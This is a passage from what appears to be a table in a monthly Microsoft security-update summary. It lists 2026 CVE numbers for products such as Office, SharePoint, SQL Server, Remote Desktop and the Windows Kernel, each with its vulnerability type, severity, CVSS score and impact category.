Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  